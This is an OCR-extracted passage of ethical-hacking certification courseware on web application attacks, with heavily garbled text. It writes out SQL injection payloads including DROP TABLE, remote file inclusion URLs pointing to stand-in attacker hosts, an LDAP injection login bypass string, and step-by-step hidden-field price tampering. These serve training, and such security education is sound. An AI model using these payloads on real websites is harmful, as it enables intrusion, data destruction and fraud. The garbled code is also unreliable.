in fec t the  security  o f a w ebsite . The prob lem s th a t lead to  such instances include server 
so ftw a re  flaw s, unpatched security  flaw s, enabling unnecessary services, and im p rope r 
a u then tica tion . A fe w  o f these prob lem s can be de tec ted  easily w ith  the  help o f au tom ated  
scanners. A ttackers can access d e fa u lt accounts, unused pages, unpatched flaws, unp ro tec ted  
files and d irecto ries, etc. to  gain una u th o rize d  access. A ll the  unnecessary and unsafe fea tu res 
have to  be taken care o f and it proves very benefic ia l if th e y  are com p le te ly  d isabled so th a t the  
outs iders d o n 't make use o f them  fo r  m alic ious attacks. All the  app lica tion-based files have to  
be taken care o f th rough  p rope r au th e n tica tio n  and s trong  security  m ethods o r crucial 
in fo rm a tio n  can be leaked to  the  attackers.

Examples o f unnecessary fea tu res th a t should be disable o r changed include:

Q The app lica tion  server adm in console is a u tom a tica lly  insta lled  and no t rem oved 

© D efau lt accounts are no t changed
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6 A ttacke r discovers the  standard  adm in pages on server, logs in w ith  de fau lt passwords, 
and takes over

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications
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I n j e c t i o n  F l a w s C E H

In jection flaws are web application vulnerabilities tha t a llow  untrusted data to  be interpreted and executed 
as part o f a command o r query

Attackers explo it injection flaws by constructing m alicious com m ands o r queries tha t result in data loss or 
corruption, lack o f accountability, o r denial o f access

Injection flaws are prevalent in legacy code, o ften  found in SQL, LDAP, and XPath queries, etc. and can be 
easily discovered by application vulnerability scanners and fuzzers

LDAP InjectionCommand InjectionSQL Injection

It involves the  in jection  
o f m alicious LDAP 
statem ents

It involves the  in jection 
o f m alicious code th rough 
a web application

It involves the in jection  
o f m alicious SQL queries 
in to  user inpu t form s

SQL
Server

JJ
—

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

I n j e c t i o n  F l a w s

In jection  flaw s are the  loopho les in the  w eb app lica tion  th a t a llow  unre liab le  data to  
be in te rp re te d  and executed as pa rt o f a com m and or query. The in jec tion  flaw s are being 
exp lo ited  by the  a ttacke r by construc ting  m alic ious com m ands o r queries th a t resu lt in loss o f 
data o r co rru p tio n , lack o f accoun tab ility , o r denia l o f access. In jec tion  flaw s are p reva len t in 
legacy code, o fte n  found  in SQL, LDAP, and XPath queries, etc. These flaw s can be de tected  
easily by app lica tion  vu ln e ra b ility  scanners and fuzzers. By exp lo iting  th e  flaw s in the  w eb 
app lica tion , the  a ttacke r can easily read, w rite , de le te , and update  any data, i.e., re levan t or 
irre levan t to  th a t pa rticu la r app lica tion . They are m any types o f in jec tion  flaw s; some o f them  
are as fo llow s :

S Q L  i n j e c t i o n

SQL in jec tion  is the  m ost com m on w ebsite  vu ln e ra b ility  on the  In te rne t. It is the  
techn ique  used to  take advantage o f non-va lida ted  in p u t vu lne rab ilitie s  to  pass SQL com m ands 
th rough  a w eb app lica tion  fo r  execution  by a backend database. In th is, the  a ttacke r in jects the  
m alic ious SQL queries in to  the  user in p u t fo rm  and th is  is usually pe rfo rm ed  to  e ith e r to  gain 
unauthorized  access to  a database or to  re trieve  in fo rm a tio n  d ire c tly  fro m  th e  database.

*  C o m m a n d  i n j e c t i o n

The flaw s in com m and in jec tion  are ano the r type  o f w eb app lica tion  vu lne rab ility .
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These flaw s are h igh ly dangerous. In th is  type  o f a ttack, the  a ttacke r in jects the  m alic ious code 
via a w eb app lica tion .

L A D P  i n j e c t i o n

LDAP in ־ jec tion  is an a ttack m ethod  in w h ich  the  w ebsite  th a t constructs  the  LDAP 
sta tem en ts  fro m  user-supplied in p u t are exp lo ited  fo r  launching attacks. W hen an app lica tion  
fa ils to  sanitize the  user inpu t, then  the  LDAP s ta te m e n t can be m od ified  w ith  th e  help o f local 
proxy. This in tu rn  results in the  execution o f a rb itra ry  com m ands such as g ran ting  access to  
unauthorized  queries and a lte ring  th e  co n te n t inside the  LDAP tree .
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C E HS Q L  I n j e c t i o n  A t t a c k s

J  SQL in jection  attacks use a series o f m a lic ious SQL que ries  to  d irec tly  

m anipu late the  database 

J  An attacker can use a vu lne rab le  w eb  app lication  to  bypass norm a l se cu rity  

m easures and obta in  d irec t access to  the  va luable data 

J  SQL in jection  attacks can o ften  be executed fro m  the  address bar, fro m  
w ith in  application fie lds, and th ro u gh  queries and searches

SQL injection 
attacks

01 < ? p h p

02 f u n c t i o n s a v e  e m a i l ( $ u s e r ,  $ m e s s a g e )

03 {
04 $ s q l  = "IN S E R T  IN T O  M e s s a g e s  (

05 u s e r ,  m e s s a g e

06 ) VALUES (

07 ' $ u s e r 1 , ' $ m e s s a g e '

08 )
09 r e t u r n  m y s q l_ q u e r y ( $ s q l ) ;

10 }
11 ?>

In te rn e tW eb .......................נ■
B row se r

t e s t ' ) ; D R O P  TABLE M e s s a g e s ; - -

When th is  code is sent to  th e  database 
server, it  drops th e  Messages tab le

Code to  in sert spam m y data on beha lf o f o th e r users SC*L In jec tion  vu lnerab le  server code

t e s t ' ) ,  ( ' u s e r 2 ' ,  '1  am J a s o n ' ) , ( ' u s e r 3 ' ,  'Y o u  a r e  h a c k e dA ttacke r

N ote: For com ple te  coverage o f  SQL Injection concepts and techniques, refer to  M odu le  14: SQL Injection

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

S Q L  I n j e c t i o n  A t t a c k s

SQL in jec tion  attacks use com m and sequences fro m  S truc tu red  Q uery  Language (SQL) 
s ta tem en ts  to  con tro l database data d irec tly . A pp lica tions o ften  use SQL sta tem ents  to  
au then tica te  users to  the  app lica tion , va lida te  roles and access levels, store  and ob ta in  
in fo rm a tio n  fo r  the  app lica tion  and user, and link to  o th e r data sources. Using SQL in jec tion  
m ethods, an a ttacke r can use a vu lne rab le  w eb app lica tion  to  avoid norm al security  m easures 
and ob ta in  d irec t access to  va luab le  data.

The reason w hy SQL in jec tion  attacks w o rk  is th a t the  app lica tion  does no t p rope rly  va lida te  
in p u t befo re  passing it to  a SQL s ta tem en t. For exam ple, the  fo llo w in g  SQL sta tem en t,

s e l e c t  *  from  ta b le n a m e  where User1D= 2302 becom es the  fo llo w in g  w ith  a s im ple SQL 
in jec tion  attack:

SELECT *  FROM ta b le n a m e  WHERE U se rID =  2302 OR 1=1

The expression "OR 1=1" evaluates to  the  value "TRUE," o ften  a llow ing  the  enum era tion  o f all 
user ID values fro m  the  database. SQL in jec tion  attacks can o ften  be en te red  fro m  the  address 
bar, fro m  w ith in  app lica tion  fie lds, and th rough  queries and searches. SQL in jec tion  attacks can 
a llow  an a ttacke r to :

© Log in to  the  app lica tion  w ith o u t supp ly ing valid credentia ls
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© Perform  queries against data in the  database, o ften  even data to  w h ich  th e  app lica tion  
w ou ld  no t no rm a lly  have access

© M o d ify  th e  database conten ts , o r d rop  the  database a ltoge th e r

© Use the  tru s t re la tionsh ips established be tw een  the  w eb app lica tion  com ponen ts  to  
access o th e r databases

01 < ? p h p

02 f u n c t i o n  s a v e  e m a i l ( ? u s e r ,  ? m e s s a g e )

03 <

04 $ s q l  =  " IN S E R T  IN T O  M e s s a g e s  (

05 u s e r ,  m e s s a g e

06 ) VA LU E S (

07 ' ? u s e r ' ,  '? m e s s a g e '

08 ) " ;

09 r e t u r n  m y s q l  q u e r y ( $ s q l ) ;

10 }

11 ?>

SQL Injection vulnerable server code

'Y o u  a r e  h a c k e d

Internet

m i

W e b

B ro w s e r

A

t e s t ' ) ; D R O P  TA B LE  M e s s a g e s ; —

W hen th is  code is sent to  the  database 
server, it  drops the Messages tab le

Code to  insert spammy data on behalf of o ther users

t e s t ' ) ,  ( ' u s e r 2 ' ,  '1  am J a s o n ' ) ,  C u s e r 3 '

FIGURE 1 3 .8 : SQL In je c t io n  A tta c k s
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-

C o m m a n d  I n j e c t i o n  A t t a c k s  C E H

J  A n  a tta c k e r  tr ie s  to  c r a f t  an  in p u t  s tr in g  to  g a in  sh e ll access to  a w e b  se rve r

J  S he ll In je c t io n  fu n c t io n s  in c lu d e  s y s t e m ( ) , s t a r t P r o c e s s  ( ) ,

j a v a .  l a n g . R u n t im e  . e x e c  ( ) ,S y s te m .  D ia g n o s t ic s  . P r o c e s s  . S t a r t  ( ) , 

a nd  s im ila r  APIs

T h is  ty p e  o f  a t ta c k  is used to  d e fa c e  w e b s ite s  v ir tu a l ly .  U sing  th is  a tta c k , an 

a tta c k e r  a dd s  an e x tra  H T M L -b a se d  c o n te n t  t o  th e  v u ln e ra b le  w e b  a p p lic a t io n

In H TM L e m b e d d in g  a tta c k s , u se r in p u t  to  a w e b  s c r ip t  is p la ce d  in to  th e  o u tp u t  

H TM L, w it h o u t  b e in g  ch ecke d  fo r  H T M L  c o d e  o r  s c r ip t in g

J

J  The  a tta c k e r  e x p lo its  th is  v u ln e ra b il ity  a nd  in je c ts  m a lic io u s  co d e  in to  s y s te m  

f i le s

J  h t t p : / /w w w . ju g g y b o y . c o m / v u ln e r a b l e . p h p ? C O L O R = h ttp : / / e v i l / e x p l o i t ?

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

C o m m a n d  I n j e c t i o n  A t t a c k s

— — Com m and in jec tion  flaw s a llow  attackers to  pass m a lic ious code to  d iffe re n t systems 
via a w eb app lica tion . The attacks include calls to  the  ope ra ting  system over system  calls, use o f 
externa l program s over shell com m ands, and calls to  th e  backend databases over SQL. Scripts 
th a t are w r itte n  in Perl, Python, and o th e r languages execute and inse rt the  poorly  designed 
w eb app lica tions. If a w eb app lica tion  uses any type  o f in te rp re te r, a ttacks are inserted to  in flic t 
damage.

To pe rfo rm  functions , w eb app lica tions m ust use opera ting  system fea tu res  and externa l 
program s. A lthough  m any program s invoke ex te rna lly , the  fre q u e n tly  used program  is 
Sendm ail. W hen a piece o f in fo rm a tio n  is passed th rough  the  HTTP externa l request, it m ust be 
ca re fu lly  scrubbed, o r the  a ttacke r can inse rt special characters, m alic ious com m ands, and 
com m and m od ifie rs  in to  the  in fo rm a tio n . The w eb app lica tion  then  b lind ly  passes these 
characters to  the  exte rna l system fo r  execution . Inserting  SQL is dangerous and ra the r 
w idespread, as it is in the  fo rm  o f com m and in jec tion . Com m and in jec tion  attacks are easy to  
carry o u t and discover, bu t they  are tough  to  understand.

^ = = 3  S h e l l  I n j e c t i o n

1 To com p le te  various func tiona litie s , w eb app lica tions use various app lica tions and 
program s. It is ju s t like sending an em ail by using the  UNIXsendmail program . There is 

a chance th a t an a ttacke r may in jec t code in to  these program s. This kind o f a ttack is dangerous
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especially to  w eb page security. These in jections a llow  in trude rs  to  pe rfo rm  various types o f 
m alic ious attacks against the  user's server. An a ttacke r tr ie s  to  c ra ft an inpu t s tring  to  gain shell 
access to  a w eb server.

Shell in jec tion  func tions  include system (), S tart Process (), java.lang .R untim e.exec (), 
System .D iagnostics.Process.Start (), and s im ila r APIs.

H T M L  E m b e d d i n g

This type  o f a ttack  is used to  deface w ebsites v irtu a lly . Using th is  a ttack, an a ttacker 
adds extra  HTML-based co n te n t to  the  vu lne rab le  w eb app lica tion . In HTML 

em bedd ing  attacks, user inpu t to  a w eb scrip t is placed in to  the  o u tp u t HTML, w ith o u t being 
checked fo r  HTML code or scrip ting.

F i l e  I n j e c t i o n

a  The a ttacke r exp lo its  th is  vu ln e ra b ility  and in jects m alic ious code in to  system  files:

h ttp ://w w w .iu g g vb o v .co m /vu ln e ra b le .p h p ? C O L O R = h ttp ://e v il/e xp lo it

Users are a llow ed to  upload various files on the  server th rough  various app lica tions and those 
files can be accessed th rough  the  In te rn e t fro m  any pa rt o f the  w o rld . If the  app lica tion  ends 
w ith  a php extensionand if any user requests it, then  the  app lica tion  in te rp re ts  it as a php scrip t 
and executes it. This a llows an a ttacke r to  pe rfo rm  a rb itra ry  com m ands.
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C o m m a n d  I n j e c t i o n  E x a m p l e

http://juggyboy/cgi־ bin/lspro/lspro.cgi?hit_out=1036

c o m^  J u g g y B o y

CUser Name Addison

נ

כ

Email Address a d d i@ ju g g yb o y.c o ~

Site URL ^  www.juggyboy.com

Banner URL [  ■gif | |newpassword|1036|60|468 

Password [  newpassword

Poor input validation at server 
script was exploited in this attack 
tha t uses database INSERT and 
UPDATE record command

Attacker Launching Code 
In jec tion  A ttack

M a lic iou s  code:

w w w . ju g g y b o y . c a m / b a im e r . g i f l | n e w p a s s w o r d | | 1 0 3 6  
| 6 0 | 4 6 8

S An attacker enters m a lic ious code (account 

num ber) w ith  a new  passw ord

6  The last tw o  sets o f num bers are the  banner 
size

«  Once th e  attacker clicks the  su bm it b u tto n , the  
passw ord  fo r  the  account 1036 is changed to  
"ne w pa ssw o rd "

9  The server scrip t assumes th a t on ly  the  URL o f 
th e  banner im age f i le  is inserted in to  th a t fie ld

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

C o m m a n d  I n j e c t i o n  E x a m p l e

The fo llo w in g  is an exam ple o f com m and in jec tion :

To pe rfo rm  a com m and in jec tion  a ttack, the  a ttacker f irs t en te rs m alic ious code (account 
num ber) w ith  a new  password. The last tw o  sets o f num bers are the  banner size. Once the  
a ttacke r clicks the  subm it b u tto n , the  password fo r  th e  account 1036 is changed to  
"new passw ord ." The server scrip t assumes th a t on ly the  URL o f the  banner image file  is 
inserted in to  th a t fie ld .
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©

M [•..................... > I \ f  http //juggYtx>y/cgi bin/lspr0/lspf0cgi?ht1 out 1036

.com

A tta cke r Launching Code 

In jection A ttack

M alic ious code:

U M f N«m« Addison

כ
כ

Email A ddreu ^ addigojuggytooycom 

Sit• U R I [  wwwiuggyboycom

1 nn#f URL [ .g if ) |newpjssword|1036|fc0|468 ]  

Password [ ncwpjsswofd ]  !

w w w .^ u g g y b o y .c o m /b a n n e r .g if l|n e w p a s s w o rd l|1 0 3 6  
1601468

P o o r in p u t v a lid a t io n  a t  se rve r 

s c r ip t w a s  e x p lo ite d  in  th is  a tta ck  

th a t  u se s  d a ta b a se  INSERT and  

U PD ATE  re co rd  c o m m a n d

FIGURE 1 3 .9 : C o m m a n d  In je c t io n  E x a m p le
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C E HF i l e  I n j e c t i o n  A t t a c k

< ?p h p
$ d r in k  =  ' c o k e ' ;  
i f  ( i s s e t (  $ _ G E T [ 'DRINK'] ) 

$d r i n k  = $ _ G E T [ 'DRINK '] ;  
r e q u i r e (  $ d r i n k  . ' .p h p ’ ) ;

?>

©

$ d r in k  
r e q u i r e ( J

ך:.....

G O
<form  m eth o d = " g e t">

< s e l e c t  name="DRINK">
< o p t io n  v a lu e = " p e p s i" > p e p s i< /o p t io n >  
< o p t io n  v a lu e = " c o k e < יי  cok e<  / o p t i  on> 
< / s e l e c t >
C in p u t ty p e ="su b m it">

< /form >

C lien t code runn ing  in  a b row se r

h t t p : / / w w w . j u g g y b o y . c o m / o r d e r s .p h p ? D R I N K = h t t p : / / j a s o n e v a l . c o m / e x p l o i t ? <

File in jection  a ttacks enable attackers to  e x p lo it 

vu ln e ra b le  scrip ts  on the  server to  use a rem ote  file  
instead o f a p resum ably tru s te d  file  fro m  the  local 
file  system

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

Attacker injects a 

rem ote ly  hosted file  at 
w w w .jasoneva l.com  
conta in ing  an explo it

e
A ttacke r

F i l e  I n j e c t i o n  A t t a c k

Users are a llow ed to  upload va rious  files  on the  server th rough  various app lica tions 
and those files can be accessed th rough  the  In te rn e t fro m  anyw here  in the  w o rld . If the  
app lica tion  ends w ith  a php extension and if  any user requests it, then  the  app lica tion  
in te rp re ts  it as a php scrip t and executes it. This a llow s an a ttacke r to  pe rfo rm  a rb itra ry  
com m ands. File in jec tion  attacks enable a ttackers to  exp lo it vu lne rab le  scripts on the  server to  
use a rem o te  file  instead o f a presum ably trus ted  file  fro m  the  local file  system. Consider the  
fo llo w in g  c lien t code runn ing  in a brow ser:

< fo rm  m e th o d = "g e t">

< s e le c t  nam e="DRINK">

C o p tio n  v a lu e = " p e p s i" > p e p s i< /o p t io n >

C o p tio n  v a lu e = "c o k e "> c o k e < /o p t io n >

< /s e le c t>

< in p u t  ty p e = "s u b m it ">

< / forra>

V u lne rab le  PHP code

<?php

$ d r in k  = 'c o k e ';

Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil
All Rights Reserved. Reproduction is Strictly Prohibited.

Module 13 Page 1773

http://www.juggyboy.com/orders.php?DRINK=http://jasoneval.com/exploit
http://www.jasoneval.com


Exam 312-50 Certified Ethical HackerEthical Hacking and Countermeasures
Hacking Web Applications

i f  ( i s s e t (  $ _ G E T ['D R IN K '] ) )

$ d r in k  = $_GET[ 'D R IN K ' ] ; 

r e q u ir e (  $ d r in k  . ' .p h p ' ) ;

?>

To e xp lo it th e  vu lne rab le  php code, the  a ttacke r in jects a rem o te ly  hosted file  at 
w w w .jasoneva l.com  con ta in ing  an exp lo it.

E xp lo it code

h ttp ://w w w . iuggvboy.com/orders. php?DRINK=http://iasoneval.com /explo it?
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W h a t  I s  L D A P  I n j e c t i o n ?  C E H
I  (•rtifwtf itfciul ■UtlM

A n LDAP in je c t io n  te c h n iq u e  is used to  ta k e  a d v a n ta g e  o f  n o n -v a lid a te d  w e b  

a p p lic a t io n  in p u t  v u ln e ra b il it ie s  to  pass LDAP f i l te r s  used fo r  s e a rc h in g  D ire c to ry  

Serv ices to  o b ta in  d ire c t  access to  d a ta b a s e s  b e h in d  an LDAP tre e

F ilte r
Syntax

O pera to r

( a t t r ib u t e N a m e  o p e r a t o r  v a lu e )  

Example

= (a b je c tc la s s = u s e r)

> = (m dbStorageQ uota>=l00000)

< = (m dbStorageQ uota<=l00000)

~ = (d i  sp 1ayName ~=Foecke1e r )

* (d isp layNam e—* Jo h n *)

AND (&) 

OR ( |)

(& ( o b je c tc la s s -u s e r ) (d isp layN am e—John)

( |( o b je c tc la s s = u s e r ) (displayNam e=John)

N O T(!) ( fo b je c tC la s s = g ro u p )

LDAP D irectory Services 
store  and organize 
in fo rm a tion  based on its 
a ttr ib u tes . The in form ation  
is hierarchica lly organized 
as a tree  o f d irecto ry 
entries

LDAP is based on the  
d ien t-se rve r m odel and 
clients can search the  
d irec to ry  e n tries  using 
filte rs

(*■
a.
WJ
Q
J
V)•pH

(0
A
*

C o p y r ig h t © by  E&Coinal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W h a t  i s  L D A P  I n j e c t i o n ?

An LDAP (L igh tw e igh t D irec to ry  Access P ro toco l) in jec tion  a ttack w orks in the  same 
w ay as a SQL in jec tion  attack. All th e  inpu ts  to  the  LDAP m ust be p rope rly  f ilte re d , o the rw ise  
vu lne rab ilitie s  in LDAP a llow  executing  unau thorized  queries o r m o d ific a tio n  o f th e  con ten ts. 
LDAP a ttacks e x p lo it w eb-based app lica tions constructed  based on LDAP sta tem ents  by using a 
local proxy. LDAP s ta tem ents are m od ified  w hen certa in  app lica tions fa il. These services store 
and organize in fo rm a tio n  based on its a ttr ib u te s . The in fo rm a tio n  is h ie ra rch ica lly  organized as 
a tree  o f d ire c to ry  entries. It is based on the  c lien t-se rve r m odel and c lien ts can search the  
d ire c to ry  en tries using filte rs .
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( a t t r i b u t e N a m e  o p e r a t o r  v a l u e )  

Example

F ilte r
Syntax

O pera to r

( d i  sp layN am e~= F oec k e l e r )

(d i  sp layN am e= *J o h n * )

(S ( o b je c t c la s s = u s e r ) ( d is p la y N a m e = J o h n )AND (& )

OR ( | ) (& (ob j e c t d s s s = u s e r )  (d ± sp layN am e= John )

NOT (I) ( ! o b je c tC la s s = g r o u p )

FIGURE 1 3 .1 0 : LDAP In je c t io n
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H o w  L D A P  I n j e c t i o n  W o r k s  C E H

n

LDAP

LDAP Server

Norm al Q u ery 
+ Code Injection

Norm al Result and/or 
Additional Inform ation

LDAP

Norm al Q u ery

Normal Result

ClientLDAP ServerC lient

LDAP in jection  attacks are s im ilar to  SQL in jection  a ttacks b u t e x p lo it user pa ram e te rs  to  generate LDAP query

To tes t if an app lication  is vu lne rab le  to  LDAP code in jection, send a q ue ry  to  the  server m eaning th a t generates 

an inva lid  inpu t. I f th e  LDAP server re tu rn s  an e rro r , it can be explo ited w ith  code in jection  techniques

If an attacker enters valid user name "juggyboy", 
and injects juggyboy)(&)) then the URL string 
becomes (&(USER=juggyboy)(&))(PASS=blah)) only 
the firs t f ilte r is processed by the LDAP server, only 
the query (&(USER=juggyboy)(&)) is processed. 
This query is always true, and the attacker logs into 
the system w ithout a valid password

A ccount Login

| ״1 v !  U sernam e juggyboy)(& ))

1Vv.\ : Password blah

S u b m itA ttacke r

Copyright © by E&Coinal. All Rights Reserved. Reproduction is Strictly Prohibited.

H o w  L D A P  I n j e c t i o n  W o r k s

( H U  LDAP in jec tion  attacks are com m on ly  used on w eb app lica tions. LDAP is app lied  to  any 
o f the  app lica tions th a t have some kind o f user inpu ts  used to  genera te  the  LDAP queries. To 
te s t if an app lica tion  is vu ln e ra b le  to  LDAP code in jec tion , send a query to  th e  server th a t 
generates an inva lid  inpu t. If th e  LDAP server re tu rns  an e rro r, it can be exp lo ited  w ith  code 
in jec tion  techn iques.

Depending upon the  im p le m e n ta tio n  o f the  ta rge t, one can try  to  achieve:

© Login Bypass 

© In fo rm a tion  Disclosure 

e Privilege Escalation 

© In fo rm a tion  A lte ra tio n
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N o rm al Q uery

N o rm al Result

LDAP Server

Normal operation

י־•*

Client

FIGURE 1 3 .1 1 : N o rm a l o p e ra t io n

Operation with code injection

<

Client

FIGURE 1 3 .1 2 : O p e ra t io n  w it h  c o d e  in je c t io n

Attack

If an a ttacke r en te rs a valid user name o f " ju g g y b o y "  and in jects ju g g y b o y ) ( &) ) ,  then  the  URL 
string  becom es (& (u ser= ju g g y b o y ) (&) )  (P A S S =b lah )). Only the  firs t f i l te r  is processed by the  
LDAP server; on ly the  query (& (USER= ju g g y b o y ) (&) )  is processed. This query is always tru e , 
and the  a ttacke r logs in to  the  system w ith o u t a valid password.

ץ

□  c LDAP

N o rm al Q uery  

+ Code In jection

N o rm al Result a n d /o r  

A d d ition al In fo rm atio n
LDAP Server

A cco u n t Login

U se rn a m e  juggyboy)(& )) 

: P assw ord blah

A tta c k e r

FIGURE 1 3 .1 3 : A t ta c k
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H i d d e n  F i e l d  M a n i p u l a t i o n  A t t a c k  I C E H

A ttack  Request

h t t p : / /w w w . ju g g y b o  
y . c o m /p a g e . a s p x ? p r  
o d u o t= J u g g y b o y % 2 0 S  
h i r t & p r i c e = 2 . 00

N orm a l Request

h t t p : / / w w w . ju g g y b o  
y . c o m /p a g e . a s p x ? p r  
o d u c t= J u g g y b o y % 2 O S  
h i r t & p r i c e = 2 0 0 .0 0

HTML Code

< f o m  m ethod="post"
a ctio n ^ " p a g e .a sp x " >

<in p u t  type="hidden" name= 
"PRICE" v a l ue 200 . 0 0 " ־ "> 

Produ ct name: < in p u t typ e=  
" t e x t״ name="product" 
v a lu e ="Juggyboy S h ir t  "X b r>  

Produ ct p r ic e :  2 0 0 .0 0 " X b r >  
< in p u t type=" subm it" v a lu e =

" subm it" >
< /form >

$  When a user makes selections on an HTML page, th e  selection is typ ica lly  stored as fo rm  
fie ld values and sent to  the  app lica tion as an HTTP request (GET o r POST)

0  HTML can also s to re  fie ld values as hidden fie lds, w hich are no t rendered to  th e  screen by 
th e  browser, bu t are collected and subm itted  as param eters during fo rm  submissions

6  Attackers can examine th e  HTML code o f th e  page and change th e  hidden fie ld  values in 
order to  change post requests to  server

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

P roduct Nam e Ju g g yb o y  S h irt  ̂

[  200 )P roduct Price

Subm it

H i d d e n  F i e l d  M a n i p u l a t i o n  A t t a c k

H idden m an ipu la tion  attacks are m ostly  used against e com־ m erce  w ebsites today. 
M any on line  stores face these prob lem s. In every c lien t session, developers use h idden fie lds to  
store  c lien t in fo rm a tio n , inc lud ing price o f the  p roduc t (Includ ing d iscount rates). A t the  tim e  o f 
deve lopm en t o f these such program s, developers fee l th a t all the  app lica tions developed by 
them  are safe, bu t a hacker can m an ipu la te  th e  prices o f the  p roduc t and com p le te  a 
tra n sa c tio n  w ith  price th a t he o r she has a lte red , ra the r than  the  actual price o f the  p roduct.

For exam ple : On eBay, a pa rticu la r m ob ile  phone is fo r  sale fo r  $1000 and the  hacker, by 
a lte ring  the  price, gets it fo r  on ly $10.

This is a huge loss fo r  w ebsite  ow ners. To p ro te c t th e ir  ne tw orks  fro m  attacks, w ebsite  ow ners 
are using the  la test an tiv irus  so ftw a re , firew a lls , in trus ion  de tec tion  systems, etc. If th e ir  
w ebsite  is a ttacked, o ften  it also loses its c re d ib ility  in the  m arket.

W hen any ta rg e t requests w eb services and makes choices on the  HTML page, then  the  choices 
are saved as fo rm  fie ld  values and de live red  to  the  requested app lica tion  as an HTTP request 
(GET or POST). The HTML pages genera lly  save fie ld  values as h idden fie lds and th e y  are no t 
d isplayed on the  m o n ito r o f the  ta rg e t bu t saved and placed in the  fo rm  o f strings or 
param eters at the  tim e  o f fo rm  subm ission. A ttackers can exam ine the  HTML code o f the  page 
and change the  h idden fie ld  values in o rde r to  change post requests to  the  server.

< in p u t  ty p e = ״ h id d e n "  name= "PRICE" v a lu e = "2 0 0 . ״00 >
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P ro d u c t name: < in p u t  ty p e =  " t e x t "  n a m e = "p ro d u c t"  v a lu e = "J u g g y b o y  
S h i r t " x b r >

P ro d u c t p r ic e :  2 0 0 . 00 "> < b r>

< in p u t  ty p e = " s u b m it"  v a lu e =  1's u b m it">

< /fo rm >

1. Open the  h tm l page w ith in  an HTML ed ito r.

2. Locate th e  h idden fie ld  (e.g., "< type=h idden  nam e=price value=200.00>").

3. M o d ify  its co n te n t to  a d iffe re n t value (e.g. "< type=h idden  nam e=price va lue=2.00>").

4. Save the  h tm l file  loca lly and browse it.

5. Click the  Buy b u tto n  to  pe rfo rm  e lec tron ic  shop lifting  via h idden m an ipu la tion .

A tta c k  R e q u e s t

h t t p : / / w w w . ju g g y b o  
y . c o m / p a g e . a s p x ? p r  

o d u c t= J u g g y b o y % 2 0 S  
h i r t & p r i c e = 2 . 0 0

FIGURE 1 3 .1 4 : H id d e n  F ie ld  M a n ip u la t io n  A t ta c k

N o rm a l R e q u e s tHTM L Code

H id d e n  F ie ld  

P rice  = 2 0 0 .0 0

h t t p : / /w w w . ju g g y b o  

y . c o m / p a g e . a s p x ? p r  
o d u c t = J u g g y b o y %2OS 

h i r t f i p r i c e = 2 0 0 . 0 0

1 ! "

<form  m eth od = " p ost"
;»nt־.־i n n s "p a g «  . a«spx">

< in p u t  ty p e= " 11id d en "  name= 
"PRICE" v a lu e = " 2 0 0 .0 0 " >  

P r o d u c t  n am e: < in p u t  ty p e=  
" te x t"  n am e="product"  
v a lu e = " J u g g y b o y  S h ir t " X b r >  

P r o d u c t  p r i c e :  2 0 0 .0 0 " > < b r>  
< in p u t  ty p e= " su b m it"  v a lu e =  

"subn'.it,,>
< / f o r : <״
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C ross-s ite  s c r ip t in g ( ,XSS' o r'C S S ') a tta c k s  e x p lo it  v u ln e ra b il it ie s  in  d y n a m ic a lly  g e n e ra te d  w e b  pages, 

w h ic h  e n a b le s  m a lic io u s  a tta cke rs  to  in je c t c lie n t-s id e  s c r ip t in to  w e b  pages v ie w e d  b y  o th e r  users

It occurs  w h e n  in v a lid a te d  in p u t  d a ta  is in c lu d e d  in  d y n a m ic  c o n te n t th a t  is s e n t to  a user's  w e b  b ro w s e r 

fo r  re n d e r in g

A ttacke rs  in je c t m a lic io u s  JavaS crip t, V B S crip t, A c tiveX , HTML, o r  Flash fo r  e x e c u tio n  o n  a v ic t im 's  sys tem  by 
h id in g  i t  w ith in  le g it im a te  re q u e s ts

Session hijacking 

Brute force password cracking 

Data theft 

In tranet probing

Keylogging and rem ote monitoring

Malicious script execution ^ ם 

Redirecting to  a malicious server ^

^ I I Exploiting user privileges

1' Ads in hidden !FRAMES and pop-ups ^׳ ^

^ Data manipulation

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P roh ib ited

C r o s s - S i t e  S c r i p t i n g  ( X S S )  A t t a c k s

Cross-site scrip ting  is also called XSS. V u lne rab ilitie s  occur w hen an a ttacke r uses w eb 
app lica tions and sends m alicious code in JavaScript to  d iffe re n t end users. It occurs w hen 
inva lida ted  inpu t data is included in dynam ic  c o n te n t th a t is sent to  a user's w eb b row ser fo r  
rendering . W hen a w eb app lica tion  uses in p u t fro m  a user, an a ttacker can com m ence an 
a ttack using th a t inpu t, w h ich  can propagate  to  o th e r users as w e ll. A ttackers in jec t m alic ious 
JavaScript, VBScript, ActiveX, HTML, o r Flash fo r  execu tion  on a v ic tim 's  system  by h id ing it 
w ith in  leg itim a te  requests. The end user m ay tru s t the  w eb app lica tion , and the  a ttacke r can 
e xp lo it th a t tru s t in o rd e r to  do th ings th a t w ou ld  no t be a llow ed under norm al cond itions. An 
a ttacke r o fte n  uses d iffe re n t m ethods to  encode the  m a lic ious  p o rtio n  (Unicode) o f the  tag, so 
th a t a request seems genuine to  the  user. Some o f them  are:

© M alic ious scrip t execu tion  - Session hijacking

© Brute fo rce  password cracking - R edirecting to  a m alic ious server

Q Explo iting user priv ileges - Data th e ft

Q In trane t p rob ing  - Ads in h idden !FRAMES and pop-ups

© Data m an ipu la tion  - Keylogging and rem o te  m o n ito rin g
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C E HH o w  X S S  A t t a c k s  W o r k

T h is  e x a m p le  u se s a 

rab le  page w h ich  h a n d le s  

fo r  a n o n e x is te n t  pages, 

a c la s s ic  404 e r ro r  page

